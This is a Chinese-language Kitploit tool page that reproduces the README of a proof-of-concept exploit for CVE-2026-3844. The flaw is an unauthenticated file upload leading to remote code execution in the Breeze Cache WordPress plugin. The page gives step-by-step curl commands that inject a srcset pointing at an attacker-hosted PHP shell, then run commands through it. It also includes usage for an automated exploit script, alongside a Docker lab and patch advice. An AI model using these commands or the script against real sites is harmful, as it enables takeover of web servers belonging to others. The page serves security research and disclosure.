Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-3844 — CVE-2026-3844 的概念验证漏洞利用程序,该漏洞是 Breeze Cache <= 2.4.4 中未经身份验证的任意文件上传,可导致远程代码执行。包含 Docker 实验环境和自动化漏洞利用脚本。 | Kitploit
工具/GitHubGitHub/dinosn/cve-2026-3844
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育
GitHubdinosn/cve-2026-3844

CVE-2026-3844

CVE-2026-3844 的概念验证漏洞利用程序,该漏洞是 Breeze Cache <= 2.4.4 中未经身份验证的任意文件上传,可导致远程代码执行。包含 Docker 实验环境和自动化漏洞利用脚本。

查看仓库
514个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-3844 — Breeze Cache <= 2.4.4 未认证任意文件上传导致 RCE

概述

字段值
CVECVE-2026-3844
CVSS9.8 严重(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-434 — 危险类型文件的不受限制上传
插件Breeze Cache by Cloudways
受影响版本所有版本,包括 2.4.4 及更早版本
修复版本2.4.5(变更集 3511463)
安装量400,000+ 个活跃 WordPress 安装
发现者Hung Nguyen (bashu)
披露日期2026-04-23

漏洞详情

inc/class-breeze-cache-cronjobs.php 中的 fetch_gravatar_from_remote() 函数会下载远程 URL,并使用 URL 中的原始文件名和扩展名将其保存到可通过 Web 访问的目录中。该函数没有 MIME 类型验证、没有扩展名白名单,也没有内容检查。

当启用“Host Files Locally - Gravatars”设置时,插件会通过 breeze_replace_gravatar_image() 挂钩到 WordPress 的 get_avatar 过滤器。该函数使用正则表达式从头像 HTML 中的 srcset 和 src 属性提取 URL。攻击者可以通过发布带有精心构造的作者名称的评论来注入恶意的 srcset 属性,从而诱使插件下载并缓存任意 PHP 文件。

漏洞代码

fetch_gravatar_from_remote() 中的漏洞代码

缺失的防护措施:

  • 未检查下载内容是否为图片(MIME 验证)
  • 未限制文件扩展名(.php、.phtml、.phar 均被接受)
  • 未检查 HTTP 响应的内容类型
  • 目标目录可通过 Web 访问,且允许 PHP 执行

攻击流程

root@kitploit:~
攻击者                          WordPress + Breeze 2.4.4
   |                                        |
   |  1. POST /wp-comments-post.php         |
   |     author=x srcset=http://evil/s.php  |
   |  ------------------------------------> |
   |                                        |  评论已保存
   |                                        |
   |  2. GET /?p=1                          |
   |  ------------------------------------> |
   |                                        |  get_avatar 过滤器触发
   |                                        |  breeze_replace_gravatar_image()
   |                                        |    通过正则提取 srcset URL
   |                                        |    调用 fetch_gravatar_from_remote()
   |                                        |
   |            3. download_url()           |
   |            http://evil/s.php           |
   |         <----------------------------- |
   |         PHP 文件内容                    |
   |         -----------------------------> |
   |                                        |  保存至:
   |                                        |  wp-content/cache/breeze-extra/
   |                                        |    gravatars/s.php
   |                                        |
   |  4. GET /wp-content/cache/breeze-extra |
   |         /gravatars/s.php?cmd=id        |
   |  ------------------------------------> |
   |                                        |  PHP 以 www-data 身份执行
   |         uid=33(www-data)               |
   |  <------------------------------------ |

前置条件

  1. 必须安装并激活 Breeze 插件版本 <= 2.4.4
  2. 必须启用 “Host Files Locally - Gravatars”(默认关闭,位于 设置 > Breeze > 高级)
  3. 至少有一篇文章开放 WordPress 评论功能
  4. 攻击者的载荷服务器必须能被 WordPress 服务器访问

Docker 实验环境搭建

此 PoC 包含一个自包含的 Docker 环境,提供:

  • WordPress 6.5 + Breeze 2.4.4(存在漏洞,已启用 Gravatar 托管)
  • MariaDB 10.11
  • 托管 PoC 载荷的 Python HTTP 服务器

环境要求

  • Docker 和 Docker Compose
  • Python 3.8+ 及 requests 库(pip install requests)

1. 启动实验环境

root@kitploit:~
cd docker/
docker compose up -d --build

等待约 30 秒让 WordPress 完成初始化。验证:

root@kitploit:~
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# 预期输出:Stable tag: 2.4.4

2. 验证前置条件

确认 Breeze 版本为 2.4.4

评论已开放,Gravatar 托管已启用

Docker 环境会自动:

  • 启用 “Host Files Locally - Gravatars”(breeze-store-gravatars-locally: 1)
  • 开放文章评论
  • 禁用评论审核(便于立即利用)

漏洞利用

手动利用步骤

步骤 1 — 发布恶意评论

root@kitploit:~
curl -X POST "http://localhost:8088/wp-comments-post.php" \
    -d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"

将 PAYLOAD_IP 替换为载荷容器的 IP:

root@kitploit:~
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
    $(docker compose -f docker/docker-compose.yml ps -q payload)

预期响应:HTTP 302 重定向到文章页面。

恶意评论 POST

步骤 2 — 触发头像渲染

访问文章页面,让 WordPress 渲染评论的头像,从而触发 Breeze 的 get_avatar 过滤器并下载载荷:

root@kitploit:~
curl -s "http://localhost:8088/?p=1" > /dev/null

渲染后的 HTML 显示 Breeze 已提取注入的 srcset 并缓存了载荷:

头像渲染触发载荷获取

步骤 3 — 验证磁盘上的文件

PHP 载荷被原样写入,属主为 www-data:

磁盘上的 shell.php,属主为 www-data

步骤 4 — 确认 RCE

RCE 已确认 — id、whoami、uname、/etc/passwd

自动化利用脚本

root@kitploit:~
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php

自动化利用脚本输出

脚本选项

root@kitploit:~
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
                  [--timeout TIMEOUT] [--wait WAIT] [--check-only]

  -t, --target      WordPress 目标 URL(必填)
  -p, --payload     要上传的 PHP 载荷 URL
  --post-id         要评论的特定文章 ID
  --timeout         HTTP 超时时间(秒,默认:15)
  --wait            等待 cron 的秒数(默认:12)
  --check-only      仅检查插件版本,不进行利用

环境清理

root@kitploit:~
cd docker/
docker compose down -v --remove-orphans

修复建议

  1. 更新 Breeze 至 2.4.5 或更高版本
  2. 临时缓解措施(如无法修补):在 Breeze 设置中禁用 “Host Files Locally - Gravatars”
  3. 加固措施:在 wp-content/cache/breeze-extra/gravatars/ 的 .htaccess 中添加:
    root@kitploit:~
    <FilesMatch "\.ph(p|tml|ar)$">
        Require all denied
    </FilesMatch>
    

文件结构

root@kitploit:~
cve-2026-3844/
  README.md              # 本文件
  docker/
    Dockerfile           # WordPress + Breeze 2.4.4 镜像
    docker-compose.yml   # 完整实验环境(WP + MariaDB + 载荷服务器)
    entrypoint-custom.sh # 自动配置存在漏洞的 WP 设置
  poc/
    exploit.py           # 自动化 PoC 利用脚本
    validate.sh          # 端到端 Docker 验证脚本
  payloads/
    shell.php            # 无害 PoC 载荷(echo + id)
  screenshots/           # SVG 终端截图(Charm freeze)
  validation/            # RAPTOR 可利用性验证输出

参考链接

  • NVD — CVE-2026-3844
  • Wordfence 安全公告
  • WordPress 补丁变更集 3511463
  • 漏洞源码(2.4.1 标签)

免责声明

此概念验证仅用于授权的安全测试、教育和防御性研究。未经授权对您不拥有或未获得明确测试许可的系统进行使用是违法的。

下载工具